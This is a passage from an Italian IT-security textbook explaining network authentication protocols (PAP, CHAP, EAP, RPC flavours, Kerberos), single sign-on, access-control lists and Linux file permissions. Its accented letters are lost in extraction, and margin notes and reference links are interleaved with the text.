so in cui per qualsiasi motivo si renda necessario uno
scambio in rete fra B e A di informazioni sensibili concer-
nenti identit e password di U, che tale scambio sia pro-
tetto. Schemi e strategie di autenticazione di rete si prefig-
gono l'obiettivo di assicurare il rispetto di queste condi-
zioni.
Requisiti per lautenticazione su host e in rete
Lo schema classico per l'autenticazione locale di un
utente su un host (o pi in generale di un soggetto come
un processo - che pu effettuare azioni: con terminologia
Windows, come gi accennato, si parla di Security Princi-
pal) si basa sulla conoscenza di una password che deve es-
sere fornita insieme al proprio username all'atto del login.
La tecnica non richiede all'utente eccessivi sforzi mnem-
nonici e, a patto che sia stata scelta una password "forte"
(ossia non facile da indovinare), tenuta rigorosamente se-
greta dal titolare e memorizzata dal sistema in modo ben
protetto, offre una discreta sicurezza. Non appena tale
schema di autenticazione viene utilizzato per l'accesso da
remoto al sistema, per, sorge immediatamente il proble-
ma della possibile intercettazione del messaggio conte-
nente login e password, che deve per forza di cose transi-
tare sulla rete. In tale scenario quindi le cose si complica-
no.
Tutti gli schemi di autenticazione in rete si basano sul-
l'applicazione di un qualche ben definito protocollo per lo
scambio di messaggi. Tale scambio interessa come minimo
le due parti fondamentali in causa, ossia il client (che chie-
de di essere autenticato) e il server (che deve erogare il ser-
vizio, o consentire un accesso, dopo essersi convinto del-
la autenticit del client), anche se, come vedremo, in alcu-
ni schemi possono comparire anche ruoli terzi, come un
server di autenticazione, di cui entrambe le parti si fidano
e che diventa depositario di determinati segreti o al quale
vengono deputate alcune decisioni chiave.
Poich i messaggi che si scambiano le due parti posso-
no essere intercettati, esaminati, ricordati e poi ritrasmes-
si (intatti o modificati) da un attaccante, assolutamente
necessario prevedere unadeguata protezione crittografica
che contrasti tali tecniche: in virt della stessa possibile
fare in modo che (1) per qualunque terzo non autorizzato
i messaggi intercettati risultino incomprensibili, che (2) ri-
sulti impossibile modificarli in modo da non lasciare trac-
ce e che (3) risulti anche del tutto inutile archiviare un mes-
saggio intercettato (pur non avendolo potuto decifrare) e
riproporlo invariato in seguito nel tentativo di ottenere una
"replica" di un qualche effetto desiderato.
E' ovvio che per cifrare i messaggi in transito occorre
che mittente e ricevente si accordino su quale algoritmo
usare e, cosa ben pi delicata, sulle chiavi crittografiche.
Per molte applicazioni accettabile utilizzare algoritmi sim-
metrici a chiave segreta (la stessa chiave viene usata sia
per cifrare sia per decifrare); in tal caso la chiave dev'es-
sere nota a tutte le parti in causa, che devono anche prov-
vedere a memorizzarla in modo sicuro e non facilmente vio-
labile. Se questo non possibile o non ritenuto abba-
stanza sicuro, esistono tecniche, basate su particolari pro-
priet matematiche, che consentono di concordare "al vo-
lo" tra due parti una chiave segreta scambiandosi aperta-
mente messaggi (in chiaro), senza che tuttavia qualcuno in
ascolto possa ricavare la conoscenza della chiave segreta
dai messaggi intercettati (protocollo Diffie-Hellman).
Infine, possibile utilizzare schemi di autenticazione ba-
sati sull'uso di algoritmi crittografici a chiave pubblica, in
cui il problema della segretezza e della condivisione delle
chiavi risulta alleviato in modo sostanziale (vedi lezione 2).
Protocolli per lautenticazione degli utenti
Meritano un cenno, a questo punto, due protocolli per
l'autenticazione in rete degli utenti.
Il pi semplice il Password Authentication Protocol
(PAP), denominazione fin troppo enfatica per una banale
procedura che essenzialmente prevede l'invio dal client al
server di uno username (in chiaro) e successivamente di
una password (eventualmente cifrata). Il server confronta
le due informazioni con quelle detenute nel suo archivio di
dati segreti e in base al risultato conferma o rifiuta l'auten-
ticazione.
Il grosso limite di PAP sta nella sua vulnerabilit rispet-
to alle intercettazioni (specialmente nel caso in cui non sia
usata crittografazione per la password) ed agli attacchi ri-
petitivi volti a indovinare la password per tentativi.
Una versione pi sicura il Challenge Handshake
Authentication Protocol (CHAP) in cui il server manda an-
zitutto al client una stringa casuale (detta in gergo "chal-
lenge", o "sfida", in quanto presuppone una "risposta"). La
stringa casuale per generare messaggi ogni volta diversi,
al fine di ostacolare tentativi di attacco di tipo replay o at-
tacchi statistici sui messaggi di autenticazione. Per esclu-
dere con elevata sicurezza il rischio di attacchi statistici, la
stringa challenge lunga ben 8 byte, il che significa che esi-
stono 2^64 stringhe possibili (18 miliardi di miliardi). Se il
generatore di numeri casuali ha buone propriet statisti-
che, la challenge string dovrebbe risultare praticamente
sempre diversa.
Il client utilizza la stringa challenge e, combinandola in
modo prestabilito con la chiave segreta da trasmettere, cal-
cola un one-way hash (checksum crittografico irreversibi-
le) sul complesso dei due dati. tale hash, e non la chiave,
che il client spedisce, poi, al server.
Per verificare la validit dell'autenticazione del client, al
server baster effettuare la stessa operazione appena ese-
guita dal client (il challenge ovviamente noto al server
che lo ha "inventato", cos come gli nota la chiave che oc-
corre verificare) e confrontare l'hash ottenuto sui suoi da-
ti con quello appena inviatogli dal client. Nel caso i due ha-
sh coincidano, si pu essere ragionevolmente sicuri che il
messaggio non possa che provenire dal client (a rigore: da
qualcuno che conosce la chiave, ma ai nostri fini ci quel-
lo che conta), che viene cos autenticato.
5.3.5.1 Requisiti per
lautenticazione su
host e in rete
5.3.5.2 Conoscere
differenti protocolli
di rete per
lautenticazione
utente (PAP, CHAP
etc).
Gli algoritmi PAP e CHAP possono essere utilizzati in
molteplici scenari di autenticazione, per esempio nelle con-
nessioni PPP (Point-to-Point Protocol) usate per le con-
nessioni a Internet via modem.
Accanto a tali protocolli standard, Microsoft ha propo-
sto (RFC2433) una propria variante di CHAP, nota come MS-
CHAP, per l'autenticazione di client Windows remoti in am-
bito Win9x/Me e NT/2k/XP. Le modifiche riguardano un
adattamento del formato del pacchetto dati per ragioni di
compatibilit con i protocolli di rete Windows, nonch la
definizione di codici d'errore dettagliati e l'introduzione di
meccanismi (pi sicuri e posti sotto il controllo del server)
per ritentare l'autenticazione e per la modifica della pas-
sword. Per esempio, diventa possibile per il server (che
svolge il ruolo di autenticatore) rifiutare una password in
quanto scaduta.
Unevoluzione ulteriore di questo protocollo (MS-CHAP
v2) stata introdotta con Windows XP. Le novit riguarda-
no la reciproca autenticazione di client e server, una crit-
tografia pi forte per la protezione delle fasi iniziali e l'uso
di chiavi distinte per le due direzioni di traffico.
Una vera e propria "piattaforma" per l'integrazione,
sempre in contesto PPP (o VPN) di altri possibili metodi di
autenticazione costituita poi dall'Extensible Authentica-
tion Protocol (EAP: RFC2284; e la sua evoluzione Protected
EAP, o PEAP). In tale contesto, metodi di autenticazione di
varia natura, comprese le Smart Card e i certificati digitali,
sono messi, da un punto di vista operativo, sullo stesso pia-
no, consentendo una facile scelta tra l'uno e l'altro. In figu-
ra 1 vediamo il dialog box con cui Windows XP propone va-
rie scelte per l'autenticazione in contesto LAN (Ethernet o
Wireless).
Per esempio, nel caso il metodo scelto sia MD5-Chal-
lenge, si user un protocollo molto simile a CHAP, mentre
qualora si selezioni PEAP, Windows render disponibile
una seconda finestra di opzioni per la scelta delle autorit
emittenti di certificati digitali ritenute "attendibili" e per la
selezione, in ambito EAP, dello specifico metodo di auten-
ticazione da usare (Figura 2). In caso di mancata autenti-
cazione, MS CHAP pu passare in modalit PAP (fallback)
il che costituisce un potenziale rischio di sicurezza.
Schema di funzionamento del protocollo CHAP
Il protocollo CHAP prende le mosse su iniziativa del ser-
ver che esige lautenticazione del client C. Il primo passo
infatti la generazione e linvio, da parte del server, di un
pacchetto challenge contenente (in chiaro) un valore ca-
suale X (ossia il challenge vero e proprio), un numero pro-
gressivo N (usato dal server per mantenere storia dei vari
challenge ancora in attesa di replica emessi verso vari
client) e un nome di autenticazione S che identifichi il ser-
ver.
Quando il client riceve il messaggio challenge esso co-
struisce una stringa composta dalla password P da usare
con quel particolare server (identificato dal nome conte-
nuto nel pacchetto) e dal numero progressivo N e challen-
ge X appena ricevuti dal server. Questa stringa viene poi
passata allalgoritmo MD5 che calcola H, un hash (check-
sum crittografico) che viene rispedito al server in un mes-
saggio di risposta al challenge. Oltre a tale hash, questo
messaggio porta a bordo C, inteso come il nome (in chiaro)
del principal lato client a cui si riferisce la password en-
trata nel calcolo dellhash.
Quando il server riceve il messaggio di risposta, quel-
lo che viene fatto consultare il database locale di pas-
sword conosciute per trovare la password corrisponden-
te al principal C, dopodich si procede allo stesso calco-
lo che il client ha appena effettuato per ottenere H. Se an-
che il server arriva allo stesso risultato H, per la propriet
Approfondimenti
RFC 2433 su MS-CHAP
http://www.faqs.org/
rfcs/rfc2433.html
RFC 2284 su EAP
rfcs/rfc2284.html
PAP e CHAP
in contesto PPP
http://www.tldp.org/
LDP/nag/node120.html
Una presentazione di
PEAP
http://www.symbol.com
/products/wireless/
peap.html
Protocolli di
autenticazione
(da sito Microsoft)
http://www.microsoft.
com/resources/
documentation/Windows
/XP/all/reskit/en-us/
Default.asp?url=/
resources/documentation/
Windows/XP/all/reskit/
en-us/prcg_cnd_pysl.asp
1 2
In figura 1
vediamo il dialog box
con cui Windows XP
propone varie scelte per
l'autenticazione in
contesto LAN (Ethernet
o Wireless).
della funzione hash usata (MD5), ci considerato prova
ragionevolmente certa che gli input dati allalgoritmo
MD5 lato client e lato server erano uguali. In particolare,
si considera dimostrato che la password usata lato client
come input allalgoritmo la stessa usata lato server, per-
ci lato client vi qualcuno che ha dimostrato di cono-
scere la password e per questa ragione, a questo punto, lo
si considera autenticato. In questo caso il protocollo ter-
mina con linvio, dal server al client, di un messaggio che
attesta lavvenuta autenticazione.
Protocolli per lautenticazione dei processi
Numerosi servizi di rete di larga diffusione e di grande
importanza, a partire dall'NFS (Network File System) per
la condivisione dei dischi in rete in ambiente Unix e Linux,
si basano su un'architettura client-server nella quale lo
scambio di messaggi tra le due parti in causa modellato
come una serie di Remote Procedure Calls (RPC) un pro-
tocollo che consente a un programma residente su un par-
ticolare computer di mandare in esecuzione un program-
ma residente su un server. Con RPC non ci si riferisce so-
lamente a uno schema logico, ma anche a un vero e pro-
prio protocollo standard che regola il comportamento
che i processi in gioco devono seguire, nonch a un set di
librerie utilizzabili dagli sviluppatori di applicativi per rea-
lizzare servizi client-server; RPC pu appoggiarsi sia su
connessioni TCP (Transmission Control Protocol) sia su
comunicazioni UDP (User Datagram Protocol).
Data la delicatezza e la criticit di molti dei servizi ba-
sati su RPC, la questione dell'autenticazione del richie-
dente riveste particolare importanza (ovviamente accan-
to a quella della correttezza degli applicativi). Per tale mo-
tivo esistono schemi di autenticazione applicabili a RPC,
che naturalmente fanno uso di tecniche crittografiche per
contrastare attacchi basati su intercettazione, modifica,
replay e altro. Tali tecniche (o authentication flavors) dif-
feriscono principalmente per l'algoritmo crittografico
usato, per la modalit con cui avviene lo scambio delle
chiavi e per altri dettagli.
L'assenza di strategia di autenticazione anch'essa
identificata come un flavor, (nella fattispecie il tipo
AUTH_NULL). Il flavor AUTH_UNIX (detto anche
AUTH_SYS), ancor oggi molto usato, prevede l'invio, da
parte del client, di hostname, username e gruppo (o un
massimo di 10 gruppi) di appartenenza. Si tratta, e il no-
me non ne fa mistero, di unimpostazione molto orienta-
ta al modello di autenticazione del mondo Unix e nella
quale, soprattutto, manca del tutto un ruolo di "verifica-
tore", sicch risulta semplice falsificare le credenziali e
spacciarsi per qualcun altro.
Il flavor AUTH_DES tenta di risolvere tali problemi. In-
nanzitutto il client viene identificato da una stringa (un
nome di rete, detto anche "netname") il cui formato li-
bero (e non pi Unix-oriented), purch soddisfi una con-
dizione di univocit globale nella rete. E' responsabilit
del client generare tale stringa nel modo a esso pi co-
modo e garantire il rispetto di tale condizione. Un classi-
co modo per farlo, adatto a molti sistemi operativi, con-
siste nel concatenare username, hostname ed eventuali
altre informazioni, con opportuni separatori non ambigui.
Per quanto riguarda il problema della protezione crit-
tografica della comunicazione RPC, in AUTH_DES si fa
uso, anche per motivi di prestazioni, di crittografia DES
(simmetrica a chiave segreta) a 56 bit, con una fase ini-
ziale, per la definizione concordata di una chiave di ses-
sione, protetta da uno schema Diffie-Hellman con impiego
di crittografia a chiave pubblica. Nei messaggi vengono
inoltre inseriti timestamp (informazioni sull'ora di emis-
sione dei messaggi) per rendere possibile il riconosci-
mento di messaggi troppo "vecchi" e poter cos contra-
stare eventuali attacchi di tipo replay.
Esiste anche un flavor di pi recente introduzione,
AUTH_KERB, che differisce da AUTH_DES principalmente
per il fatto che, anzich spedire il "netname" e una chiave
di sessione, si riutilizza con vantaggio il "service ticket"
generato e gestito da Kerberos. Inoltre, come in tutti gli
schemi Kerberos, la sensibilit di AUTH_KERB alla diffe-
renza tra i clock delle due macchine non trascurabile co-
me nel caso di AUTH_DES, in cui previsto un sistema per
il rilevamento e la compensazione automatica di tale
eventuale differenza.
Schema (semplificato) della fase di invio delle
credenziali dal client al server allinizio di una
sessione RPC
In modo AUTH_DES le credenziali (sempre accompa-
gnate da informazioni di verifica, non mostrate in figura,
che le proteggono) sono costituite dal nome del principal
e dalla chiave di sessione Ks cifrata mediante la chiave
Kdh precedentemente concordata con lalgoritmo Diffie-
Hellman.
In modo AUTH_KERB tutto quello che occorre che il
principal mandi come proprie credenziali (a parte le
informazioni di verifica, anche in questo caso non mo-
strate) il ticket di sessione precedentemente ottenuto
mediante Kerberos (Tk). Il semplice possesso di quel
ticket attesta infatti che in precedenza il principal ha su-
perato con successo una fase di autenticazione con
lAuthentication Server, di cui anche il server si fida.
Architetture a singolo sign-on
Quando si ha a che fare con sistemi articolati e com-
plessi, composti da una molteplicit di host (connessi tra
loro in rete) e di servizi erogati da essi, con un gran nu-
mero di utenti e con la necessit di autenticarsi con ogni
servizio per potervi accedere, ci si pu facilmente trova-
re davanti a una situazione pressoch ingestibile, sia per
l'utente finale costretto a ripetere frequentemente l'o-
perazione di login, sia per gli amministratori di sistema, al-
le prese con il problema di governare un elevato numero
di profili per diversi host o servizi.
Come abbiamo visto, possibili soluzioni "palliative"
vanno dalla scelta, da parte degli utenti, di login e pas-
sword ovunque uguali, all'utilizzo di stratagemmi come il
meccanismo .rhosts per il riconoscimento reciproco del-
l'autenticazione tra host.
Una soluzione strutturalmente migliore prende le mos-
se da una strategia di gestione unificata degli utenti, at-
traverso la creazione di un database unico, centralizzato,
per tutti i profili (username, password e altri dati) al qua-
le le applicazioni possano magari accedere attraverso
un'interfaccia standard, specializzata nel trattamento di
questo tipo di dati, come LDAP (Lightweight Directory Ac-
cess Protocol). Il passo successivo per consiste nel con-
gegnare le applicazioni del sistema complessivo in modo
che non soltanto l'autenticazione avvenga appoggiandosi
alle informazioni contenute in tale database unificato, ma
che l'utente debba autenticarsi una sola volta, al primo ac-
cesso, e in seguito risulti automaticamente autenticato su
tutte le altre risorse di rete. A tal fine sono considerate ri-
5.3.5.3 Conoscere
differenti protocolli di
rete per
lautenticazione di
processi distribuiti
5.3.5.4 Essere
consci della
complessit dei
sistemi ad
architettura single
sign-on
Approfondimenti
La RFC1050, su RPC e
sui principali schemi di
autenticazione:
rfcs/rfc1050.html
Documento Sun su
AUTH_KERB:
http://www.cybersafe.ltd.
uk/docs_other/Kerberos
%20Authentication%20in
%20Sun%20RPC%20for
%20NFS.pdf
Vulnerabilit di RPC
http://www.nfr.com/
newsletter/winter-04/
ALookAtRPCSecurity.htm
sorse di rete non solo periferiche o i dischi condivisi, ma
qualunque servizio reso disponibile dal sistema nel suo
complesso, inclusi gli accessi interattivi (come telnet/rlo-
gin/rsh, per sistemi Linux) e l'accesso a servizi erogati via
Web.
Tale approccio complessivo all'autenticazione va sotto
il nome di Single Sign-On (SSO) e, se da un lato offre degli
indubbi benefici in termini di praticit d'uso per gli uten-
ti finali (e, di conseguenza, un incremento di produttivit),
ha anche effetti positivi sulla sicurezza del sistema, in
quanto evidente che non dovendo pi ricordare nume-
rose password l'utente meno portato a tenerne traccia
scritta in luoghi magari poco protetti; inoltre la gestione
dei profili risulta centralizzata e quindi non solo pi sem-
plice, ma anche pi sicura (diminuisce il rischio di di-
menticare gli account attivi o le password obsolete, ma-
gari gi compromesse).
Naturalmente la difficolt di realizzare una architettu-
ra SSO per l'autenticazione proporzionale all'eteroge-
neit del sistema.
Quando l'ambiente complessivo omogeneo la solu-
zione pu essere addirittura gi disponibile "gratis", come
avviene con il modello Microsoft.
Esso prevede anzitutto un LDAP server come deposito
centrale delle informazioni di profilo. Si distinguono poi
quattro tipi di logon, pensati per altrettanti modelli di
comportamento e di accesso a risorse di rete. Innanzitut-
to vi il login interattivo, che corrisponde alla classica si-
tuazione in cui si accede a un computer per il quale si di-
sponga di accesso fisico diretto (anche se, per la verit, gli
accessi via Terminal Server sono equiparati); il login di re-
te, per l'utilizzo da remoto, in modalit client-server, di
qualche risorsa o servizio; il login per servizi, che i servi-
zi Win32 effettuano sul nodo locale per poter entrare in at-
tivit; e infine i login batch, usati appunto per l'esecuzio-
ne di job batch, magari in background.
Qui interessa soprattutto il secondo di questi tipi di lo-
gin, il login di rete, il quale si avvale del protocollo Ker-
beros (di origine Unix, ma adottato ufficialmente da Mi-
crosoft precisamente in versione 5 - per i suoi sistemi
operativi da Windows 2000 in poi) per garantire un eleva-
to livello di sicurezza per l'autenticazione malgrado que-
sta avvenga in rete.
Vedi il seguente capitolo (5.3.5.5) per la descrizione
dettagliata delle fasi di autenticazione utilizzate dal pro-
tocollo Kerberos.
Principi operativi di Kerberos
Il servizio distribuito di autenticazione in rete Kerbe-
ros, inventato nella met degli anni '80 dal MIT, prende ap-
propriatamente il nome dal cane a tre teste che secondo
la mitologia greca vigilava sull'accesso agli inferi.
In sintesi, il servizio offerto da Kerberos consente a un
processo (client) mandato in esecuzione da un utente
(principal) di attestare e dimostrare la propria identit a
un ente verificatore (una applicazione server) senza in-
viare alcuna informazione in rete in particolare, pas-
sword - la cui intercettazione potrebbe consentire a un at-
taccante o allo stesso verificatore dimpersonare in se-
guito l'utente.
Tale operazione apparentemente contraddittoria e im-
possibile, in realt consentita da un impiego ingegnoso
di tecniche crittografiche.
Nel funzionamento di Kerberos gli attori fondamentali
sono 4: oltre ai gi citati client (C) e server (R) vi sono in-
fatti:
- un authentication server (AS), con il quale ogni client C
condivide una propria chiave crittografica segreta Kc. AS
ha la funzione di generare in modo sicuro (fidato e non
intercettabile da terzi in ascolto) "l'innesco" della suc-
cessiva conversazione: la chiave di sessione.
- un ticket-granting server (TGS) che si occupa di fare da
"ponte crittografico" fra client e server per generare in
modo convincente per entrambi, e non intercettabile da
terzi, una chiave da usare per la successiva comunica-
zione diretta tra C e R.
FASE 1
Quando C desidera attivare una connessione con R per
richiedere l'esecuzione di un servizio, autenticandosi in
modo credibile per R, ma non intercettabile per terzi non
autorizzati, per prima cosa invia (in chiaro) il proprio no-
me "C" ad AS. AS esamina il proprio database di contro-
parti note e verifica che effettivamente un client C noto
e che in particolare nota la chiave segreta Kc da usare
nelle comunicazioni con esso. AS allora genera una chia-
ve di sessione Ks (ogni volta una diversa) e un "ticket" ot-
tenuto crittografando con la chiave segreta Ktgs la coppia
di informazioni costituita dall'identit del client, C, e dal-
la chiave di sessione, Ks. Chiave di sessione e ticket ven-
gono usati per formare un messaggio che viene poi cifra-
to con la chiave segreta Kc e spedito a C come risultato.
Il messaggio cos ottenuto risulta indecifrabile per chiun-
Approfondimenti
RFC 2251 (LDAP):
rfcs/rfc2251.html
5.3.5.5
Conoscere i
principi generali
di
funzionamento
del sistema di
autenticazione
Kerberos.
que non conosca la chiave segreta Kc, ma non per C, che
ne al corrente. Quando C riceve il messaggio, utilizza
proprio Kc per decifrarlo ed estrarre Ks e il ticket. Il ticket
indecifrabile per C, che non conosce la chiave Ktgs con
cui stato cifrato. [figura fase 1]
FASE 2
C invia al ticket-granting server TGS il ticket cos come
l'ha ricevuto, accompagnato dall'identit R (in chiaro) del
server con cui vuol parlare e dall'ora esatta crittografata
con la chiave di sessione Ks.
Per il TGS, che naturalmente conosce Ktgs, possibile
decifrare il ticket ed ottenere cos Ks e C. Con Ks pu poi
decifrare l'ora esatta e verificare se il messaggio che ha
appena ricevuto da C effettivamente stato mandato di
recente oppure se si tratta di un vecchio messaggio che
qualcuno ha intercettato e sta ora cercando di ripetere
per ingannare il server inducendolo a ripetere una ope-
razione gi effettuata in precedenza (replay attack).
Il TGS sceglie ora una chiave segreta Kcr da usarsi per
la comunicazione che sta per avere inizio fra il client C e
il server R.
Il prossimo passo consiste nell'invio a C, da parte del
TGS, di due informazioni protette. La prima consiste nel-
la coppia R, Kcr crittografata usando la chiave di sessio-
ne, Ks. La chiave di sessione nota solo a C (oltre ai fida-
ti AS e TGS) quindi nessun altro, all'infuori del client, pu
intercettare tale messaggio. C pu cos estrarre Kcr e ini-
ziare a usarla per parlare con R.
La seconda informazione consiste nella coppia C, Kcr
crittografata con la chiave Kr del server. Poich il client
non conosce Kr, C non ha la possibilit di decifrare (ma-
gari per alterarlo) questo valore. Tutto quello che pu fa-
re di spedirlo tale e quale al server R, accompagnato an-
che in questo caso dall'ora esatta cifrata usando la chia-
ve Kcr.
FASE 3
Quando il server R riceve questo messaggio, per prima
cosa lo decifra usando la sua chiave segreta Kr. Ottiene
cos la chiave Kcr e l'identit C del client che gli sta par-
lando, il che gli permette di verificare che il messaggio stia
arrivando proprio da chi il mittente afferma di essere.
Con la chiave Kcr invece il server per prima cosa deci-
fra l'ora esatta e verifica che il messaggio sia davvero re-
cente. In caso contrario potremmo essere ancora di fron-
te a un replay attack, e il server per tutelarsi non dovr fa-
re altro che ignorare il messaggio.
A questo punto sia C sia R (e nessun altro, escluso, na-
turalmente, il "fidato" TGS) conoscono la chiave segreta
condivisa Kcr e R considera finalmente autenticato C: la
comunicazione sicura fra essi pu cominciare, natural-
mente crittografata usando Kcr come chiave. Chiunque
fosse stato in ascolto non ha visto passare alcuna pas-
sword (nemmeno crittografata) e da ci che pu avere in-
tercettato non ha acquistato n la possibilit di intromet-
tersi nella conversazione spacciandosi in modo credibile
per qualcun altro (per farlo dovrebbe ingannare AS e TGS,
ma non conosce le chiavi segrete per farlo), n la possi-
bilit di memorizzare e ripetere dei messaggi (grazie ai ti-
mestamp crittografati con chiavi segrete).
Inoltre, ogni successivo scambio di messaggi fra C e R
avviene in forma cifrata usando una chiave segreta Kcr e
risulta quindi incomprensibile a terzi non autorizzati in
ascolto.
Controllo degli accessi
Una volta conseguita l'autenticazione, con cui ha con-
validato la propria identit, il "principal" (utente o pro-
cesso che sia) che desideri accedere a una determinata ri-
sorsa si trova ancora a met del guado: il fatto che la sua
identit sia ora accertata, infatti, non significa necessa-
riamente che gli debba essere concesso quello che chie-
de.
Occorre prima verificare se a quel "principal" con-
sentito l'accesso alla risorsa e questo, ove applicabile, nel-
la modalit richiesta, a seconda del modello previsto a ta-
le riguardo (lettura, scrittura, creazione,..).
Di questo si occupa una seconda "barriera" subito a
valle dell'autenticazione: il controllo degli accessi (Access
Control).
Principi di controllo degli accessi
Con il termine "controllo degli accessi" ci si riferisce a
quelle funzionalit del sistema operativo che stabiliscono
chi pu accedere alle risorse disponibili ed esercitano il
potere di concedere, o negare, l'abilitazione a tale acces-
so.
A seconda dei sistemi operativi, il controllo degli ac-
cessi pu riguardare un set pi o meno vasto di entit, dai
"soliti" file fino a concetti pi sottili come le chiavi di re-
gistro o i semafori, passando per stampanti di rete, pro-
cessi e thread.
Nella terminologia Windows, le entit assoggettabili a
controllo degli accessi si chiamano "securable objects".
Da un punto di vista concettuale, poi, qualunque sia
l'implementazione offerta dal sistema operativo, si pu
Approfondimenti
Per una presentazione
di Kerberos si veda
Tanenbaum, Computer
Networks (IV edition),
Prentice-Hall, cap. 8.7.4;
oppure, su Web.
http://www.isi.edu/
gost/publications/
kerberos-neuman-
tso.html
5.3.6 Controllo
degli accessi
5.3.6.1
Conoscere i
principi
concettuali alla
base del
controllo
daccesso
5.3.6.3 Conoscere
le modalit di
gestione
dellaccesso per i
file system correnti
pensare a uno stesso modello logico di riferimento per la
determinazione dei permessi di accesso: la cosiddetta "ta-
bella delle autorizzazioni", di cui, come vedremo, altri mo-
delli costituiscono restrizioni o semplificazioni.
Access Control List e List of Capabilities
La tabella delle autorizzazioni (o "matrice degli acces-
si") pu essere immaginata come una matrice bidimen-
sionale le cui righe rappresentano "soggetti" (o "princi-
pal"), ossia entit utenti, processi, eccetera - che pos-
sono richiedere un accesso a qualche risorsa; le sue co-
lonne rappresentano invece "oggetti", o risorse file, pe-
riferiche, database, porte di I/O, eccetera per le quali, a
fronte di una richiesta di un "principal", pu essere con-
sentito o negato l'accesso.
All'incrocio di una riga con una colonna la matrice ri-
porta l'elenco dei diritti, od operazioni, che sono conces-
si a quel determinato "principal" su quella particolare ri-
sorsa. Per esempio, limitandoci per semplicit al caso de-
gli utenti e dei file:
file1 file2 ... fileN
utente1 lett./scritt. nessun diritto ... lett./esecuz.
utente2 lett. nessun diritto ... lett.
... ... ... ... ...
utenteM lett./esec. lett./scritt. ... lett.
Riconsiderando ora questa matrice ed estraendone
una determinata colonna otteniamo l'elenco dei diritti di
accesso riconosciuti su quella risorsa (nell'esempio, un fi-
le) per ogni utente conosciuto al sistema. Questo tipo di
informazione non altro che la Access Control List (ACL)
associata alla risorsa:
file1
utente1:
lettura/scrittura
utente2:
lettura
...
utenteM:
lettura/esecuzione
Viceversa, se dalla stessa tabella estraiamo una deter-
minata riga, otteniamo l'indicazione di tutto ci che nel
complesso consentito fare a un determinato "principal"
(nell'esempio, un utente). Questo vettore spesso defini-
to "Capability List" (lista di capacit)
utente1
file1: file2: fileN:
lett./scritt. nessun diritto ... lett./esec.
Controllo degli accessi nei comuni file system
Anche se da un punto di vista logico il modello di rife-
rimento per quanto riguarda il controllo degli accessi sui
file sostanzialmente analogo nella maggioranza dei si-
stemi operativi, esistono differenze e restrizioni piuttosto
marcate nella sua implementazione da caso a caso. Qui
prenderemo in considerazione Windows XP Home, Win-
dows XP Professional e Linux.
Fra i tre sistemi presi in esame, Windows XP Profes-
sional offre il modello ACL per i file pi articolato e com-
pleto. possibile, per ogni singolo "principal", sia esso un
utente o un gruppo, specificare per ogni singolo file (o per
intere cartelle o unit disco) non soltanto i "classici" per-
messi di lettura e scrittura (Figura 3), ma anche permes-
si estremamente specifici quali l'autorizzazione ad acqui-
sire il possesso della risorsa, a impostare il valore dei suoi
attributi base ed estesi e perfino l'autorizzazione a legge-
re (e cambiare) i permessi stessi. Questo si fa utilizzando
un'apposita scheda (Figura 4) del dialog box "Properties"
che si visualizza selezionando il file in Explorer e facendo
clic con il tasto destro del mouse; la scheda Permissions
3
4
5
5.3.6.2 Sapere
cos unAccess
Control List (ACL) e
la List of
Capabilities
(Figura 5) fornisce invece una vista tabellare abbastanza
chiara della ACL per l'oggetto in questione.
Nel caso di XP Home, per i file, disponibile una ver-
sione di ACL molto ristretta. Tutto quello che si pu fare
specificare se una determinata cartella per esclusivo
uso personale di un determinato utente sul computer lo-
cale, oppure condivisa con gli altri utenti locali del com-
puter, oppure condivisa in rete, nel qual caso consenti-
to anche precisare se agli utenti di rete deve essere per-
messo modificare i file contenuti nella cartella. Non pos-
sibile impostare queste restrizioni a livello di singolo file
e non possibile differenziarle utente per utente. In sin-
tesi, sia i "principals" sia le risorse (ovvero, sia le righe sia
le colonne della "access matrix") sono trattabili solo in
modo "grossolano", per gruppi, e anche i permessi che
possono essere concessi o negati (lettura; scrittura) sono
un sottoinsieme di quelli previsti dal modello di XP Pro-
fessional.
In Linux lo schema per attribuire i permessi ai file
semplice ma pratico e soprattutto sufficiente per tutte le
applicazioni normali. Ogni file o directory ha associato un
set di permessi accordati a tre diverse categorie: il pro-
prietario del file (user); il gruppo di utenti a cui il pro-
prietario appartiene (group); tutti gli altri utenti (other).
Per ognuno di questi tre "principal" sono definiti tre per-
messi: lettura, scrittura, esecuzione/attraversamento.
Quest'ultimo assume il primo significato nel caso in cui
l'entit in esame sia un file e il secondo significato nel ca-
so di una directory.
Caratteristica peculiare di Unix in generale e quindi an-
che di Linux, il permesso di esecuzione esiste anche nel-
la variante "set user id": l'effetto quello di far s che an-
che se il programma lanciato in esecuzione da un uten-
te U, durante l'esecuzione gli verr temporaneamente at-
tribuita un'identit (effective user ID) uguale a quella del
proprietario del file. Si tratta di una possibilit molto uti-
le per consentire anche a semplici utenti l'esecuzione di
determinate operazioni privilegiate, ma naturalmente, se
abusata, foriera di gravi rischi per la sicurezza, specie se
il flag "set user id" usato per un programma di propriet
di root.
I permessi dei file sono mostrati quando si richiede la
visualizzazione della directory con il comando "ls l": la
rappresentazione, che compare subito alla sinistra del fi-
le, consiste in una stringa di 10 caratteri, in cui il primo co-
difica il tipo di file (file, directory, link simbolico, socket
un oggetto software che collega unapplicazione a un pro-
tocollo di rete - named pipe collegamento temporaneo
fra due programmi o comandi) e i successivi 9 caratteri,
a gruppi di 3 (da sinistra a destra: utente/gruppo/altri),
sono i permessi per i 3 diversi "principal".
Se un dato permesso concesso, la relativa lettera vi-
sualizzata (r per read, w per write, x per execute, s per set-
user-ID). Viceversa, se il permesso non disponibile, nel-
la corrispondente posizione della stringa viene mostrato
un trattino ("-"). Per esempio, la stringa dei permessi di un
file di programma eseguibile ha normalmente il seguente
aspetto:
-r-xr-xr-x
Se si vuole che, quando qualcuno lo esegue, il pro-
gramma acquisisca i diritti dell'utente proprietario del fi-
le per tutto il tempo dell'esecuzione, occorre assegnare il
permesso set-user-id, cos:
-r-sr-xr-x
Invece i permessi di un semplice file di dati leggibile dal
proprietario e dal suo gruppo, ma scrivibile solo dal pro-
prietario, appaiono cos:
-rw-r-----
Una directory (tipo di file: "d") in cui tutti possono scri-
vere e leggere e che tutti possono attraversare avr inve-
ce una stringa permessi di questo tipo:
drwxrwxrwx
mentre sar opportuno che la home directory di un
utente sia maggiormente protetta, per non consentire n
letture, n scritture, n attraversamenti ad estranei, com-
presi gli appartenenti allo stesso gruppo di utenti del pro-
prietario, al quale invece devessere concesso tutto:
drwx------
bene tenere comunque sempre presente che per l'u-
tente root come se tutte queste limitazioni non esistes-
sero.
Esiste anche una rappresentazione numerica di questi
